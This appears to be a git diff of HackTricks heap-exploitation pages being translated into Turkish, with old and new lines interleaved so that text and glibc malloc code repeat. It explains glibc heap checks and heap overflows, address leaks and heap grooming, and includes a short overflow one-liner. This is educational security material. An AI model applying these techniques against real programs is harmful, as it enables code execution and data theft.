- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
- Eğer parça üst parça ise: `double free or corruption (top)`
- Eğer bir sonraki parça arenanın sınırlarının dışındaysa: `double free or corruption (out)`
- Eğer parça kullanılmıyor olarak işaretlenmemişse (sonraki parçanın `prev_inuse`'unda): `double free or corruption (!prev)`
- Eğer bir sonraki parçanın boyutu çok küçük veya çok büyükse: `free(): invalid next size (normal)`
- Eğer önceki parça kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, eğer prev_size, önceki parçadaki belirtilen boyuttan farklıysa: `corrupted size vs. prev_size while consolidating`
<details>
<summary>_int_free_merge_chunk code</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
mchunkptr nextchunk = chunk_at_offset(p, size);
mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Consolidate backward. */
if (!prev_inuse(p))
{
INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
/* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size);
}
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

218
src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
View File

@ -4,160 +4,160 @@
## unlink
For more info check:
Daha fazla bilgi için kontrol edin:
{{#ref}}
unlink.md
{{#endref}}
This is a summary of the performed checks:
Bu, gerçekleştirilen kontrollerin bir özetidir:
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
- Error message: `corrupted size vs. prev_size`
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- Error message: `corrupted double-linked list`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Error message: `corrupted double-linked list (not small)`
- Parçanın belirtilen boyutunun, bir sonraki parçadaki `prev_size` ile aynı olup olmadığını kontrol et
- Hata mesajı: `corrupted size vs. prev_size`
- Ayrıca `P->fd->bk == P` ve `P->bk->fw == P` kontrol et
- Hata mesajı: `corrupted double-linked list`
- Eğer parça küçük değilse, `P->fd_nextsize->bk_nextsize == P` ve `P->bk_nextsize->fd_nextsize == P` kontrol et
- Hata mesajı: `corrupted double-linked list (not small)`
## \_int_malloc
For more info check:
Daha fazla bilgi için kontrol edin:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
- **Checks during fast bin search:**
- If the chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 2`
- If the forward chunk is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected`
- If the returned chunk has a size that isn't correct because of it's index in the fast bin:
- Error message: `malloc(): memory corruption (fast)`
- If any chunk used to fill the tcache is misaligned:
- Error message: `malloc(): unaligned fastbin chunk detected 3`
- **Checks during small bin search:**
- If `victim->bk->fd != victim`:
- Error message: `malloc(): smallbin double linked list corrupted`
- **Checks during consolidate** performed for each fast bin chunk:&#x20;
- If the chunk is unaligned trigger:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in:
- Error message: `malloc_consolidate(): invalid chunk size`
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- Error message: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**:
- If the chunk size is weird (too small or too big):&#x20;
- Error message: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big):
- Error message: `malloc(): invalid next size (unsorted)`
- If the previous size indicated by the next chunk differs from the size of the chunk:
- Error message: `malloc(): mismatching next->prev_size (unsorted)`
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
- Error message: `malloc(): unsorted double linked list corrupted`
- As we are always checking the las one, it's fd should be pointing always to the arena struct.
- If the next chunk isn't indicating that the previous is in use:
- Error message: `malloc(): invalid next->prev_inuse (unsorted)`
- If `fwd->bk_nextsize->fd_nextsize != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (bk)`
- **Checks during large bin (by index) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks`
- **Checks during large bin (next bigger) search:**
- `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks2`
- **Checks during Top chunk use:**
- `chunksize(av->top) > av->system_mem`:
- Error message: `malloc(): corrupted top size`
- **Hızlı bin araması sırasında kontroller:**
- Eğer parça hizalanmamışsa:
- Hata mesajı: `malloc(): unaligned fastbin chunk detected 2`
- Eğer ileri parça hizalanmamışsa:
- Hata mesajı: `malloc(): unaligned fastbin chunk detected`
- Eğer döndürülen parçanın boyutu, hızlı bin içindeki indeksinden dolayı doğru değilse:
- Hata mesajı: `malloc(): memory corruption (fast)`
- Tcache'i doldurmak için kullanılan herhangi bir parça hizalanmamışsa:
- Hata mesajı: `malloc(): unaligned fastbin chunk detected 3`
- **Küçük bin araması sırasında kontroller:**
- Eğer `victim->bk->fd != victim` ise:
- Hata mesajı: `malloc(): smallbin double linked list corrupted`
- **Her hızlı bin parçası için yapılan konsolidasyon kontrolleri:**
- Eğer parça hizalanmamışsa tetikle:
- Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected`
- Eğer parçanın boyutu, içinde bulunduğu indeks nedeniyle farklıysa:
- Hata mesajı: `malloc_consolidate(): invalid chunk size`
- Eğer önceki parça kullanılmıyorsa ve önceki parçanın boyutu `prev_chunk` tarafından belirtilen boyuttan farklıysa:
- Hata mesajı: `corrupted size vs. prev_size in fastbins`
- **Sıralanmamış bin araması sırasında kontroller:**
- Eğer parça boyutu garipse (çok küçük veya çok büyük):
- Hata mesajı: `malloc(): invalid size (unsorted)`
- Eğer bir sonraki parça boyutu garipse (çok küçük veya çok büyük):
- Hata mesajı: `malloc(): invalid next size (unsorted)`
- Eğer bir sonraki parçanın belirttiği önceki boyut, parçanın boyutundan farklıysa:
- Hata mesajı: `malloc(): mismatching next->prev_size (unsorted)`
- Eğer `victim->bck->fd == victim` değilse veya `victim->fd == av (arena)` değilse:
- Hata mesajı: `malloc(): unsorted double linked list corrupted`
- Her zaman sonuncusunu kontrol ettiğimiz için, fd'si her zaman arena yapısına işaret etmelidir.
- Eğer bir sonraki parça, öncekinin kullanıldığını belirtmiyorsa:
- Hata mesajı: `malloc(): invalid next->prev_inuse (unsorted)`
- Eğer `fwd->bk_nextsize->fd_nextsize != fwd` ise:
- Hata mesajı: `malloc(): largebin double linked list corrupted (nextsize)`
- Eğer `fwd->bk->fd != fwd` ise:
- Hata mesajı: `malloc(): largebin double linked list corrupted (bk)`
- **Büyük bin (indeksle) araması sırasında kontroller:**
- `bck->fd-> bk != bck`:
- Hata mesajı: `malloc(): corrupted unsorted chunks`
- **Büyük bin (bir sonraki daha büyük) araması sırasında kontroller:**
- `bck->fd-> bk != bck`:
- Hata mesajı: `malloc(): corrupted unsorted chunks2`
- **Top parça kullanımı sırasında kontroller:**
- `chunksize(av->top) > av->system_mem`:
- Hata mesajı: `malloc(): corrupted top size`
## `tcache_get_n`
- **Checks in `tcache_get_n`:**
- If chunk is misaligned:
- Error message: `malloc(): unaligned tcache chunk detected`
- **`tcache_get_n` içindeki kontroller:**
- Eğer parça hizalanmamışsa:
- Hata mesajı: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
- **Checks in `tcache_thread_shutdown`:**
- If chunk is misaligned:
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
- **`tcache_thread_shutdown` içindeki kontroller:**
- Eğer parça hizalanmamışsa:
- Hata mesajı: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
- **Checks in `__libc_realloc`:**
- If old pointer is misaligned or the size was incorrect:
- Error message: `realloc(): invalid pointer`
- **`__libc_realloc` içindeki kontroller:**
- Eğer eski işaretçi hizalanmamışsa veya boyut yanlışsa:
- Hata mesajı: `realloc(): invalid pointer`
## `_int_free`
For more info check:
Daha fazla bilgi için kontrol edin:
{{#ref}}
free.md
{{#endref}}
- **Checks during the start of `_int_free`:**
- Pointer is aligned:
- Error message: `free(): invalid pointer`
- Size larger than `MINSIZE` and size also aligned:
- Error message: `free(): invalid size`
- **Checks in `_int_free` tcache:**
- If there are more entries than `mp_.tcache_count`:
- Error message: `free(): too many chunks detected in tcache`
- If the entry is not aligned:
- Error message: `free(): unaligned chunk detected in tcache 2`
- If the freed chunk was already freed and is present as chunk in the tcache:
- Error message: `free(): double free detected in tcache 2`
- **Checks in `_int_free` fast bin:**
- If the size of the chunk is invalid (too big or small) trigger:
- Error message: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin:
- Error message: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding:
- Error message: `invalid fastbin entry (free)`
- **`_int_free` başlangıcındaki kontroller:**
- İşaretçi hizalanmış mı:
- Hata mesajı: `free(): invalid pointer`
- Boyut `MINSIZE`'dan büyük ve boyut da hizalanmışsa:
- Hata mesajı: `free(): invalid size`
- **`_int_free` tcache içindeki kontroller:**
- Eğer `mp_.tcache_count`'dan daha fazla giriş varsa:
- Hata mesajı: `free(): too many chunks detected in tcache`
- Eğer giriş hizalanmamışsa:
- Hata mesajı: `free(): unaligned chunk detected in tcache 2`
- Eğer serbest bırakılan parça zaten serbest bırakılmışsa ve tcache'de parça olarak mevcutsa:
- Hata mesajı: `free(): double free detected in tcache 2`
- **`_int_free` hızlı bin içindeki kontroller:**
- Eğer parçanın boyutu geçersizse (çok büyük veya küçük) tetikle:
- Hata mesajı: `free(): invalid next size (fast)`
- Eğer eklenen parça zaten hızlı binin tepe noktasıysa:
- Hata mesajı: `double free or corruption (fasttop)`
- Eğer tepedeki parçanın boyutu, eklediğimiz parçanın boyutundan farklıysa:
- Hata mesajı: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
- **Checks in `_int_free_merge_chunk`:**
- If the chunk is the top chunk:
- Error message: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena:
- Error message: `double free or corruption (out)`
- If the chunk is not marked as used (in the prev_inuse from the following chunk):
- Error message: `double free or corruption (!prev)`
- If the next chunk has a too little size or too big:
- Error message: `free(): invalid next size (normal)`
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
- Error message: `corrupted size vs. prev_size while consolidating`
- **`_int_free_merge_chunk` içindeki kontroller:**
- Eğer parça tepe parça ise:
- Hata mesajı: `double free or corruption (top)`
- Eğer bir sonraki parça arenanın sınırlarının dışındaysa:
- Hata mesajı: `double free or corruption (out)`
- Eğer parça kullanılmadı olarak işaretlenmemişse (bir sonraki parçanın prev_inuse'inde):
- Hata mesajı: `double free or corruption (!prev)`
- Eğer bir sonraki parça çok küçük veya çok büyükse:
- Hata mesajı: `free(): invalid next size (normal)`
- Eğer önceki parça kullanılmıyorsa, konsolidasyon yapmaya çalışacaktır. Ancak, `prev_size` önceki parçadaki belirtilen boyuttan farklıysa:
- Hata mesajı: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
- **Checks in `_int_free_create_chunk`:**
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Error message: `free(): corrupted unsorted chunks`
- **`_int_free_create_chunk` içindeki kontroller:**
- Sıralanmamış bine bir parça eklerken, `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` kontrol et:
- Hata mesajı: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
- **Checks in `do_check_malloc_state`:**
- If misaligned fast bin chunk:
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
- **`do_check_malloc_state` içindeki kontroller:**
- Eğer hizalanmamış hızlı bin parçası varsa:
- Hata mesajı: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
- **Checks in `malloc_consolidate`:**
- If misaligned fast bin chunk:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If incorrect fast bin chunk size:
- Error message: `malloc_consolidate(): invalid chunk size`
- **`malloc_consolidate` içindeki kontroller:**
- Eğer hizalanmamış hızlı bin parçası varsa:
- Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected`
- Eğer geçersiz hızlı bin parça boyutu varsa:
- Hata mesajı: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
- **Checks in `_int_realloc`:**
- Size is too big or too small:
- Error message: `realloc(): invalid old size`
- Size of the next chunk is too big or too small:
- Error message: `realloc(): invalid next size`
- **`_int_realloc` içindeki kontroller:**
- Boyut çok büyük veya çok küçükse:
- Hata mesajı: `realloc(): invalid old size`
- Bir sonraki parçanın boyutu çok büyük veya çok küçükse:
- Hata mesajı: `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}}

2452
src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
View File

File diff suppressed because it is too large Load Diff

102
src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
View File

@ -2,8 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
### Code
### Kod
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -11,73 +10,72 @@
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
```
### Grafiksel Açıklama
### Graphical Explanation
Check this great graphical explanation of the unlink process:
unlink sürecinin harika grafiksel açıklamasını kontrol edin:
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks
### Güvenlik Kontrolleri
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Parçanın belirtilen boyutunun, bir sonraki parçadaki prev_size ile aynı olup olmadığını kontrol edin
- Ayrıca `P->fd->bk == P` ve `P->bk->fw == P` olduğunu kontrol edin
- Parça küçük değilse, `P->fd_nextsize->bk_nextsize == P` ve `P->bk_nextsize->fd_nextsize == P` olduğunu kontrol edin
### Leaks
### Leak'ler
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
Bağlantısı kesilmiş bir parça, tahsis edilen adresleri temizlemez, bu nedenle ona erişim sağlamak, bazı ilginç adresleri sızdırmak mümkündür:
Libc Leaks:
Libc Leak'leri:
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
- Eğer P, çift bağlı listenin başındaysa, `bk` libc'deki `malloc_state`'e işaret edecektir
- Eğer P, çift bağlı listenin sonunda ise, `fd` libc'deki `malloc_state`'e işaret edecektir
- Çift bağlı liste yalnızca bir serbest parçayı içeriyorsa, P çift bağlı listede yer alır ve hem `fd` hem de `bk`, `malloc_state` içindeki adresi sızdırabilir.
Heap leaks:
Heap leak'leri:
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
- Eğer P, çift bağlı listenin başındaysa, `fd` heap'teki mevcut bir parçaya işaret edecektir
- Eğer P, çift bağlı listenin sonunda ise, `bk` heap'teki mevcut bir parçaya işaret edecektir
- Eğer P çift bağlı listede ise, hem `fd` hem de `bk`, heap'teki mevcut bir parçaya işaret edecektir
{{#include ../../../banners/hacktricks-training.md}}

42
src/binary-exploitation/libc-heap/heap-overflow.md
View File

@ -2,49 +2,47 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
Heap overflow, [**stack overflow**](../stack-overflow/) gibi ama heap'te gerçekleşir. Temelde, bazı verileri depolamak için heap'te bir alan ayrıldığı ve **depolanan verinin ayrılan alandan daha büyük olduğu** anlamına gelir.
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
Stack overflow'larda, talimat işaretçisi veya stack çerçevesi gibi bazı kayıtların stack'ten geri yükleneceğini biliyoruz ve bunu kötüye kullanmak mümkün olabilir. Heap overflow'larda ise, **varsayılan olarak heap parçasında saklanan herhangi bir hassas bilgi yoktur**. Ancak, hassas bilgiler veya işaretçiler olabilir, bu nedenle bu açığın **kritikliği** **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl kötüye kullanabileceğine **bağlıdır**.
> [!TIP]
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
> Overflow offset'lerini bulmak için [**stack overflow'larda**](../stack-overflow/#finding-stack-overflows-offsets) olduğu gibi aynı desenleri kullanabilirsiniz.
### Stack Overflows vs Heap Overflows
### Stack Overflow'lar vs Heap Overflow'lar
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
Stack overflow'larda, açığın tetiklenebileceği anda stack'te bulunacak düzen ve veri oldukça güvenilirdir. Bunun nedeni, stack'in lineer olması, her zaman çarpışan bellek içinde artması, **programın belirli yerlerinde stack belleğinin genellikle benzer türde verileri depolamasıdır** ve her fonksiyon tarafından kullanılan stack parçasının sonunda bazı işaretçilerle belirli bir yapıya sahip olmasıdır.
However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
Ancak, heap overflow durumunda, kullanılan bellek lineer değildir, **ayrılan parçalar genellikle bellek içinde ayrı konumlarda** (birbirinin yanında değil) bulunur çünkü **boyutlarına göre ayrılan alanları** ayıran **bins ve zonlar** vardır ve **önceki serbest bellek kullanılır** yeni parçalar ayırmadan önce. **Bir heap overflow ile çarpışacak nesneyi bilmek karmaşıktır.** Bu nedenle, bir heap overflow bulunduğunda, **istenen nesnenin bellek içinde overflow edilebilecek nesnenin yanına gelmesini sağlamak için güvenilir bir yol bulmak** gerekir.
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir, örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılır. Yazıda, iOS çekirdeğinde bir alanın bellek parçalarını depolamak için bellek kalmadığında, bir çekirdek sayfası ile genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçalar bu saldırıların istismarını zorlaştırmak için rastgele bir şekilde kullanılır).
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
Bu nedenle, önceki yazıda bir heap overflow gerçekleştiğinde, overflow edilen nesneyi bir kurban nesnesi ile çarpışacak şekilde zorlamak için, **tüm serbest parçaların doldurulmasını sağlamak ve yeni bir sayfanın oluşturulmasını sağlamak için birkaç `kalloc` birkaç iş parçacığı tarafından zorlanır**.
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach portu ile ilişkili dışarıdan ayrılan bellek** ideal bir adaydır. Mesajın boyutunu ayarlayarak, `kalloc` ayrımının boyutunu tam olarak belirlemek mümkündür ve ilgili mach portu yok edildiğinde, ilgili ayrım hemen `kfree`'ye geri verilecektir.
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object.
Sonra, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, son giren ilk çıkar sırasına göre elemanları serbest bırakır**, bu da temelde bazı yer tutucular serbest bırakıldığında ve istismar, overflow'e karşı savunmasız nesneyi ayarlamaya çalışırken birkaç kurban nesnesi ayarlamaya çalıştığında, bu nesnenin bir kurban nesnesinden sonra gelme olasılığının yüksek olduğu anlamına gelir.
### Example libc
### Örnek libc
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) bir temel Heap overflow emülasyonu bulmak mümkündür; bu emülasyon, bir sonraki parçanın prev in use bitini ve prev boyutunun konumunu üzerine yazarak **kullanılan bir parçayı konsolide etmenin** (kullanılmamış gibi düşünmesini sağlayarak) ve **sonra tekrar ayırmanın** mümkün olduğunu gösterir; böylece farklı bir işaretçide kullanılan verileri de üzerine yazma imkanı sağlar.
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) örneğinden başka bir örnek, bir **heap overflow**'un istismar edilebileceği çok temel bir CTF örneğini gösterir; bu örnekte **bayrağı almak için** kazanan fonksiyonunu çağırmak mümkündür.
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) örneğinde, bir buffer overflow istismar ederek, **yakın bir parçaya bir adresi üzerine yazmanın** mümkün olduğu gösterilmektedir; burada **kullanıcıdan rastgele veriler** yazılacaktır.
### Example ARM64
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
### Örnek ARM64
Sayfada [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) bir komutun yürütüleceği bir heap overflow örneği bulabilirsiniz; bu komut, overflow edilen parçanın sonraki parçasında saklanmaktadır. Bu nedenle, yürütülen komutu, kolay bir istismar ile üzerine yazarak değiştirmek mümkündür:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Other examples
### Diğer örnekler
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- We use an Integer Overflow vulnerability to get a Heap Overflow.
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
- Bir Heap Overflow elde etmek için bir Integer Overflow zafiyetini kullanıyoruz.
- Kod yürütmesi elde etmek için taşan parçanın içindeki bir `struct` içindeki bir işlevin işaretçilerini bozuluyoruz ve `system` gibi bir işlev ayarlıyoruz.
{{#include ../../banners/hacktricks-training.md}}

60
src/binary-exploitation/libc-heap/house-of-einherjar.md
View File

@ -2,48 +2,48 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
### Code
### Kod
